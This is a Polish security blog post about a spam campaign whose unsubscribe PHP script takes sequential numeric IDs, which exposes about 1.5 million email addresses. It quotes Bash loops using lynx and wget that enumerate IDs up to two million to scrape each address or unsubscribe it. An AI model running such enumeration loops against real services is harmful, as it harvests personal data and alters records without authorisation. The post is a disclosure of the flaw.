Jak zrobić dobry uczynek i usunąć ze spamlisty 1,5 mln adresów

dodał 3 października 2014 o 10:33 w kategorii Wpadki  z tagami:
Jak zrobić dobry uczynek i usunąć ze spamlisty 1,5 mln adresów

Jeden z naszych Czytelników otrzymał spam. Spam jak to spam – coś próbował sprzedać. Nasz Czytelnik nie byłby jednak naszym Czytelnikiem, gdyby nie sprawdził konstrukcji linka do wypisania ze spamu. A tam znalazł niespodziankę.

Okazało się, że dzięki mechanizmom obsługującym możliwość rezygnacji z wysyłki każdy użytkownik może najpierw odtworzyć pełną listę grubo ponad miliona adresów email, a następnie wszystkie je z bazy usunąć. Ciekawe, prawda?

Oddajmy głos Tomaszowi, odkrywcy błędu autora komunikacji marketingowej

Taka śmiesznostka z dziedziny specjalistów od PHP z górnej półki i SPAMu Dostałem śmieć z reklamą używanej Skody, a w nim taki zabawny link do wypisania: „Jeżeli chcą Państwo zrezygnować z otrzymywania atrakcyjnych ofert biznesowych w przyszłości, uprzejmie proszę kliknąć TUTAJ”, gdzie „TUTAJ” jest linkiem następującej konstrukcji:

http://5.39.xx.xxx/unsub.php?k=f&a=TU-NUMERYCZNY-ID-POWYŻEJ-1,5-MILIONA

Powyższy skrypt PHP po podaniu we wskazanym parametrze liczby pokazuje ładne potwierdzenie wypisania konkretnego adresu e-mail, przypisanego do podanego identyfikatora NUMERYCZNEGO. Zatem prosty one-liner w Bashu:

for i in `seq 1 2000000`; do \
 lynx -source "http://5.39.xx.xxx/unsub.php?k=f&a=$i" \
 | cut -d' ' -f8 \
 | cut -d'<' -f1; \
 done;

lub, jeśli brakuje lynx-a, można wget-em:

for i in `seq 1 2000000`; do \
 wget -qO - "http://5.39.xx.xxx/unsub.php?k=f&a=$i" \
 | cut -d' ' -f8 \
 | cut -d'<' -f1; \ done;

i możemy wszystkich „wypisać” ;-))) lub pobrać darmową bazę, zawierającą prawdopodobnie ponad 1,5mln adresów. I dla uzupełnienia, w mailu był jeszcze drugi link: „W przypadku zainteresowania proszę kliknąć TUTAJ lub skontaktować się bezpośrednio ze sprzedawcą: 505 [xxx] 089 Jacek”. W tym miejscu „TUTAJ” jest linkiem konstrukcji:

http://skodyuzywane.pl/?a=TU-TEN-SAM-NUMERYCZNY-ID-POWYŻEJ-1,5-MILIONA
Przykład użycia linku

Przykład użycia linku

Dla uzupełnienia fragmenty nagłówka wspomnianego śmiecia:

Return-path: <[email protected]>
 Delivery-date: Thu, 02 Oct 2014 *:*:* +0200
 Received: from [176.122.224.107] (helo=mail.skodyuzywane.pl)
 by * with esmtp (Exim 4.76)
 (envelope-from <[email protected]>)
 id *
 for *; Thu, 02 Oct 2014 *:*:* +0200
 Received: from mail.skodyuzywane.pl (vps24957 [176.122.224.107])
 by mail.skodyuzywane.pl (Postfix) with ESMTPA id *
 for <*>; Thu, 2 Oct 2014 *:*:* +0200 (CEST)
 Date: Thu, 2 Oct 2014 *:*:* +0200
 To: *
 From: =?utf-8?Q?U=C5=BCywane_Skody?= <[email protected]>
 Reply-To: =?utf-8?Q?U=C5=BCywane_Skody?= <[email protected]>
 Subject: =?utf-8?Q?Skoda_kombi._Bezpiecze=C5=84stwo,_jako=C5=9B=C4=87,_zysk.?=
 Message-ID: <*@mail.skodyuzywane.pl>
 X-Priority: 3
 X-Mailer: PHPMailer 5.2.2
 (http://code.google.com/a/apache-extras.org/p/phpmailer/)
 MIME-Version: 1.0
 Content-Type: multipart/alternative;boundary="*"

Autorowi skryptów gratulujemy niefrasobliwego podejścia do problemu.